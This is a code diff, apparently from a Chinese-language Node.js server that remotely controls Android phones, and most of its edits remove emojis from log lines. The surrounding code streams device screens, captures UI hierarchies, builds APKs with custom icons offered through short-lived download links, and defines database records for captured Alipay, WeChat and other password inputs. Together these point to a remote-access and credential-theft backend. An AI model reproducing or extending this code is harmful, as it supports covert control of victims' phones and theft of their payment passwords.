||||
this.logger.debug(` 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`)
|
||||
client.lastSeen = new Date()
|
||||
// 更新请求时间戳,但返回成功(避免频繁日志)
|
||||
this.requestTimestamps.set(requestKey, now)
|
||||
@@ -198,7 +198,7 @@ class WebClientManager {
|
||||
// 检查设备是否被其他客户端控制
|
||||
if (currentController && currentController !== clientId) {
|
||||
const controllerClient = this.clients.get(currentController)
|
||||
this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`)
|
||||
this.logger.warn(` 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`)
|
||||
return {
|
||||
success: false,
|
||||
message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`,
|
||||
@@ -208,7 +208,7 @@ class WebClientManager {
|
||||
|
||||
// 如果客户端已在控制其他设备,先释放
|
||||
if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) {
|
||||
this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`)
|
||||
this.logger.info(` 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`)
|
||||
this.releaseDeviceControl(client.controllingDeviceId)
|
||||
}
|
||||
|
||||
@@ -217,13 +217,13 @@ class WebClientManager {
|
||||
client.controllingDeviceId = deviceId
|
||||
client.lastSeen = new Date()
|
||||
|
||||
// 🔐 如果客户端有用户ID,将权限持久化到数据库
|
||||
// 如果客户端有用户ID,将权限持久化到数据库
|
||||
if (client.userId && this.databaseService) {
|
||||
this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control')
|
||||
this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`)
|
||||
this.logger.info(` 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`)
|
||||
}
|
||||
|
||||
this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`)
|
||||
this.logger.info(` 客户端 ${clientId} 开始控制设备 ${deviceId}`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
@@ -241,16 +241,16 @@ class WebClientManager {
|
||||
if (client) {
|
||||
const previousDevice = client.controllingDeviceId
|
||||
client.controllingDeviceId = undefined
|
||||
this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`)
|
||||
this.logger.debug(` 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`)
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`)
|
||||
this.logger.warn(` 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`)
|
||||
}
|
||||
|
||||
this.deviceControllers.delete(deviceId)
|
||||
this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`)
|
||||
this.logger.info(` 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`)
|
||||
return true
|
||||
} else {
|
||||
this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`)
|
||||
this.logger.debug(` 设备 ${deviceId} 没有被控制,无需释放`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -266,13 +266,13 @@ class WebClientManager {
|
||||
* 检查客户端是否有设备控制权
|
||||
*/
|
||||
hasDeviceControl(clientId: string, deviceId: string): boolean {
|
||||
// 🛡️ 记录权限检查审计日志
|
||||
// 记录权限检查审计日志
|
||||
this.logPermissionOperation(clientId, deviceId, '权限检查')
|
||||
|
||||
// 🔐 获取客户端信息
|
||||
// 获取客户端信息
|
||||
const client = this.clients.get(clientId)
|
||||
|
||||
// 🆕 超级管理员绕过权限检查
|
||||
// 超级管理员绕过权限检查
|
||||
if (client?.username) {
|
||||
const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin'
|
||||
if (client.username === superAdminUsername) {
|
||||
@@ -281,28 +281,28 @@ class WebClientManager {
|
||||
if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) {
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
this.logger.info(`🔐 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`)
|
||||
this.logger.info(` 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`)
|
||||
} else {
|
||||
this.logger.debug(`🔐 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`)
|
||||
this.logger.debug(` 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`)
|
||||
}
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 🔐 首先检查内存中的控制权
|
||||
// 首先检查内存中的控制权
|
||||
const memoryControl = this.deviceControllers.get(deviceId) === clientId
|
||||
if (memoryControl) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 🔐 如果内存中没有控制权,检查数据库中的用户权限
|
||||
// 如果内存中没有控制权,检查数据库中的用户权限
|
||||
if (client?.userId && this.databaseService) {
|
||||
const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control')
|
||||
if (hasPermission) {
|
||||
// 🔐 如果用户有权限,自动建立控制关系(允许权限恢复)
|
||||
// 如果用户有权限,自动建立控制关系(允许权限恢复)
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`)
|
||||
this.logger.info(` 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`)
|
||||
return true
|
||||
}
|
||||
}
|
||||
@@ -336,7 +336,7 @@ class WebClientManager {
|
||||
activeClients++
|
||||
}
|
||||
}
|
||||
this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`)
|
||||
this.logger.debug(` 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -403,7 +403,7 @@ class WebClientManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 恢复用户的设备权限
|
||||
* 恢复用户的设备权限
|
||||
*/
|
||||
restoreUserPermissions(userId: string, clientId: string): void {
|
||||
if (!this.databaseService) {
|
||||
@@ -416,7 +416,7 @@ class WebClientManager {
|
||||
const permissions = this.databaseService.getUserDevicePermissions(userId)
|
||||
|
||||
if (permissions.length > 0) {
|
||||
this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`)
|
||||
this.logger.info(` 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`)
|
||||
|
||||
// 恢复第一个设备的控制权(优先恢复用户之前的权限)
|
||||
for (const permission of permissions) {
|
||||
@@ -426,7 +426,7 @@ class WebClientManager {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.controllingDeviceId = permission.deviceId
|
||||
this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`)
|
||||
this.logger.info(` 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`)
|
||||
break // 只恢复第一个设备
|
||||
}
|
||||
}
|
||||
@@ -438,27 +438,27 @@ class WebClientManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 设置客户端用户信息
|
||||
* 设置客户端用户信息
|
||||
*/
|
||||
setClientUserInfo(clientId: string, userId: string, username: string): void {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.userId = userId
|
||||
client.username = username
|
||||
this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`)
|
||||
this.logger.info(` 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`)
|
||||
|
||||
// 🛡️ 记录安全审计日志
|
||||
this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`)
|
||||
// 记录安全审计日志
|
||||
this.logger.info(` 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🛡️ 记录权限操作审计日志
|
||||
* 记录权限操作审计日志
|
||||
*/
|
||||
private logPermissionOperation(clientId: string, deviceId: string, operation: string): void {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`)
|
||||
this.logger.info(` 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -21,31 +21,31 @@ app.use(cors({
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
// Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
// 心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
|
||||
// 🔧 传输优化
|
||||
// 传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
|
||||
// 🔧 缓冲区和数据包优化
|
||||
// 缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
|
||||
// 🔧 连接管理
|
||||
// 连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
|
||||
// 🔧 Engine.IO 配置
|
||||
// Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
@@ -77,14 +77,14 @@ app.get('/health', (req, res) => {
|
||||
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
logger.info(` 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
logger.info(` 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
|
||||
const device: any = {
|
||||
id: deviceInfo.deviceId,
|
||||
@@ -109,7 +109,7 @@ io.on('connection', (socket) => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
logger.info(` 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
@@ -119,7 +119,7 @@ io.on('connection', (socket) => {
|
||||
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
logger.info(` Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
@@ -176,46 +176,46 @@ io.on('connection', (socket) => {
|
||||
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到连接测试: ${JSON.stringify(data)}`);
|
||||
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
// 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
logger.debug(` 已回复CONNECTION_TEST确认消息`);
|
||||
} catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
logger.error(` 回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(` 测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
logger.info(` [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(` 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(` 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
// 参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
logger.info(` UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
// 设备控制请求
|
||||
@@ -242,14 +242,14 @@ io.on('connection', (socket) => {
|
||||
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
|
||||
});
|
||||
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
// 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
logger.info(` 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(` 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
logger.info(` 权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
|
||||
@@ -260,13 +260,13 @@ io.on('connection', (socket) => {
|
||||
// 记录所有接收到的事件
|
||||
socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
|
||||
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
logger.info(` 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
}
|
||||
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
logger.info(` 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(` 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -274,7 +274,7 @@ io.on('connection', (socket) => {
|
||||
const duration = Math.round((Date.now() - connectionStart) / 1000);
|
||||
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
|
||||
|
||||
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
logger.info(` 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
|
||||
// 更新数据库中的断开连接记录
|
||||
databaseService.updateDisconnection(socket.id);
|
||||
@@ -282,7 +282,7 @@ io.on('connection', (socket) => {
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
logger.info(` 设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
|
||||
// 通知所有Web客户端设备已断开
|
||||
@@ -293,7 +293,7 @@ io.on('connection', (socket) => {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
logger.info(` Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -312,9 +312,9 @@ process.on('uncaughtException', (error) => {
|
||||
const PORT = process.env.PORT || 3000;
|
||||
|
||||
server.listen(PORT, () => {
|
||||
logger.info(`🚀 服务器启动在端口 ${PORT}`);
|
||||
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
logger.info(` 服务器启动在端口 ${PORT}`);
|
||||
logger.info(` 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(` Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
});
|
||||
|
||||
export default server;
|
||||
@@ -64,7 +64,7 @@ export default class APKBuildService {
|
||||
this.logger.error(`[构建日志] ${message}`)
|
||||
break
|
||||
case 'success':
|
||||
this.logger.info(`[构建日志] ✅ ${message}`)
|
||||
this.logger.info(`[构建日志] ${message}`)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -420,7 +420,7 @@ export default class APKBuildService {
|
||||
this.buildStatus.message = '生成分享链接...'
|
||||
this.addBuildLog('info', '生成分享链接...')
|
||||
|
||||
// 🚀 自动生成Cloudflare分享链接
|
||||
// 自动生成Cloudflare分享链接
|
||||
const apkPath = signedApkPath
|
||||
const filename = buildResult.filename!
|
||||
|
||||
@@ -673,7 +673,7 @@ export default class APKBuildService {
|
||||
|
||||
// 写入图标文件
|
||||
fs.writeFileSync(fullPath, iconFile.buffer)
|
||||
this.logger.info(`✅ 已更新图标: ${iconPath}`)
|
||||
this.logger.info(` 已更新图标: ${iconPath}`)
|
||||
} catch (error) {
|
||||
this.logger.error(`更新图标失败 ${iconPath}:`, error)
|
||||
// 继续处理其他图标,不中断整个过程
|
||||
@@ -699,14 +699,14 @@ export default class APKBuildService {
|
||||
}
|
||||
|
||||
fs.writeFileSync(fullPath, iconFile.buffer)
|
||||
this.logger.info(`✅ 已更新圆形图标: ${iconPath}`)
|
||||
this.logger.info(` 已更新圆形图标: ${iconPath}`)
|
||||
} catch (error) {
|
||||
this.logger.error(`更新圆形图标失败 ${iconPath}:`, error)
|
||||
// 继续处理其他图标,不中断整个过程
|
||||
}
|
||||
}
|
||||
|
||||
this.logger.info('✅ 应用图标更新完成')
|
||||
this.logger.info(' 应用图标更新完成')
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('更新应用图标失败:', error)
|
||||
|
||||
@@ -35,9 +35,9 @@ interface DeviceQualityState {
|
||||
|
||||
const QUALITY_PROFILES: Record<string, QualityProfile> = {
|
||||
low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' },
|
||||
medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
|
||||
high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' },
|
||||
ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
|
||||
medium: { fps: 15, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
|
||||
high: { fps: 20, quality: 55, maxWidth: 720, maxHeight: 1280, label: '高画质' },
|
||||
ultra: { fps: 25, quality: 70, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
|
||||
}
|
||||
|
||||
export class AdaptiveQualityService {
|
||||
@@ -129,7 +129,7 @@ export class AdaptiveQualityService {
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`)
|
||||
this.logger.info(` 设备${deviceId}手动切换画质: ${profile.label}`)
|
||||
return { params: profile }
|
||||
}
|
||||
|
||||
@@ -149,7 +149,7 @@ export class AdaptiveQualityService {
|
||||
if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight))
|
||||
state.currentProfile = 'custom'
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
|
||||
this.logger.info(` 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
|
||||
return {
|
||||
params: {
|
||||
fps: state.fps,
|
||||
@@ -177,14 +177,14 @@ export class AdaptiveQualityService {
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
|
||||
this.logger.info(` 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
// 已经是最低档,尝试进一步降低fps
|
||||
if (state.fps > 3) {
|
||||
state.fps = Math.max(3, state.fps - 2)
|
||||
this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`)
|
||||
this.logger.info(` 设备${deviceId}降低帧率到${state.fps}fps`)
|
||||
return { shouldAdjust: true, newParams: { fps: state.fps } }
|
||||
}
|
||||
|
||||
@@ -208,7 +208,7 @@ export class AdaptiveQualityService {
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`)
|
||||
this.logger.info(` 设备${deviceId}自动提升画质: ${profile.label}`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
|
||||
@@ -197,7 +197,7 @@ export class AuthService {
|
||||
this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`)
|
||||
}
|
||||
|
||||
// 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新
|
||||
if (this.SUPERADMIN_PASSWORD) {
|
||||
const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash)
|
||||
|
||||
@@ -339,13 +339,13 @@ export class CloudflareShareService {
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="icon">📱</div>
|
||||
<div class="icon"></div>
|
||||
<h1>APK文件下载</h1>
|
||||
<div class="filename">${filename}</div>
|
||||
<div class="filesize">文件大小: ${fileSize}</div>
|
||||
<a href="/download" class="download-btn">立即下载</a>
|
||||
<div class="warning">
|
||||
⚠️ 此下载链接有效期为10分钟,请及时下载
|
||||
此下载链接有效期为10分钟,请及时下载
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
@@ -53,9 +53,9 @@ export class ConnectionPoolService {
|
||||
): boolean {
|
||||
// 检查是否超过最大连接数
|
||||
if (this.connections.size >= this.MAX_CONNECTIONS) {
|
||||
this.logger.warn(`⚠️ 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`)
|
||||
this.logger.warn(` 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`)
|
||||
if (!this.evictLRU()) {
|
||||
this.logger.error(`❌ 无法添加新连接: 连接池已满且无法驱逐`)
|
||||
this.logger.error(` 无法添加新连接: 连接池已满且无法驱逐`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -72,7 +72,7 @@ export class ConnectionPoolService {
|
||||
isActive: true
|
||||
})
|
||||
|
||||
this.logger.debug(`✅ 连接已添加: ${socketId} (${type}, ${priority})`)
|
||||
this.logger.debug(` 连接已添加: ${socketId} (${type}, ${priority})`)
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -82,7 +82,7 @@ export class ConnectionPoolService {
|
||||
removeConnection(socketId: string): boolean {
|
||||
const removed = this.connections.delete(socketId)
|
||||
if (removed) {
|
||||
this.logger.debug(`✅ 连接已移除: ${socketId}`)
|
||||
this.logger.debug(` 连接已移除: ${socketId}`)
|
||||
}
|
||||
return removed
|
||||
}
|
||||
@@ -194,7 +194,7 @@ export class ConnectionPoolService {
|
||||
}
|
||||
|
||||
if (lruSocket) {
|
||||
this.logger.info(`🗑️ 驱逐LRU连接: ${lruSocket} (${lruPriority})`)
|
||||
this.logger.info(` 驱逐LRU连接: ${lruSocket} (${lruPriority})`)
|
||||
this.connections.delete(lruSocket)
|
||||
return true
|
||||
}
|
||||
@@ -217,7 +217,7 @@ export class ConnectionPoolService {
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.info(`🧹 清理空闲连接: ${cleanedCount}个`)
|
||||
this.logger.info(` 清理空闲连接: ${cleanedCount}个`)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -16,10 +16,10 @@ export interface DeviceRecord {
|
||||
lastSeen: Date
|
||||
connectionCount: number
|
||||
lastSocketId?: string
|
||||
status: 'online' | 'offline' | 'busy' // ✅ 添加设备状态字段
|
||||
publicIP?: string // 🆕 添加公网IP字段
|
||||
remark?: string // 🆕 添加设备备注字段
|
||||
// 🆕 新增系统版本信息字段
|
||||
status: 'online' | 'offline' | 'busy' // 添加设备状态字段
|
||||
publicIP?: string // 添加公网IP字段
|
||||
remark?: string // 添加设备备注字段
|
||||
// 新增系统版本信息字段
|
||||
systemVersionName?: string // 如"Android 11"、"Android 12"
|
||||
romType?: string // 如"MIUI"、"ColorOS"、"原生Android"
|
||||
romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1"
|
||||
@@ -36,7 +36,7 @@ export interface OperationLogRecord {
|
||||
timestamp: Date
|
||||
}
|
||||
|
||||
// ✅ 新增设备状态记录接口
|
||||
// 新增设备状态记录接口
|
||||
export interface DeviceStateRecord {
|
||||
deviceId: string
|
||||
password?: string
|
||||
@@ -52,7 +52,7 @@ export interface DeviceStateRecord {
|
||||
updatedAt: Date
|
||||
}
|
||||
|
||||
// 💰 支付宝密码记录接口
|
||||
// 支付宝密码记录接口
|
||||
export interface AlipayPasswordRecord {
|
||||
id?: number
|
||||
deviceId: string
|
||||
@@ -65,7 +65,7 @@ export interface AlipayPasswordRecord {
|
||||
createdAt: Date
|
||||
}
|
||||
|
||||
// 💬 微信密码记录接口
|
||||
// 微信密码记录接口
|
||||
export interface WechatPasswordRecord {
|
||||
id?: number
|
||||
deviceId: string
|
||||
@@ -78,7 +78,7 @@ export interface WechatPasswordRecord {
|
||||
createdAt: Date
|
||||
}
|
||||
|
||||
// 🔐 通用密码输入记录接口
|
||||
// 通用密码输入记录接口
|
||||
export interface PasswordInputRecord {
|
||||
id?: number
|
||||
deviceId: string
|
||||
@@ -138,21 +138,21 @@ export class DatabaseService {
|
||||
// 确保新增列存在(迁移)
|
||||
this.ensureDeviceTableColumns()
|
||||
|
||||
// ✅ 添加status字段到现有表(如果不存在)
|
||||
// 添加status字段到现有表(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`)
|
||||
} catch (error) {
|
||||
// 字段已存在,忽略错误
|
||||
}
|
||||
|
||||
// 🆕 添加publicIP字段到现有表(如果不存在)
|
||||
// 添加publicIP字段到现有表(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`)
|
||||
} catch (error) {
|
||||
// 字段已存在,忽略错误
|
||||
}
|
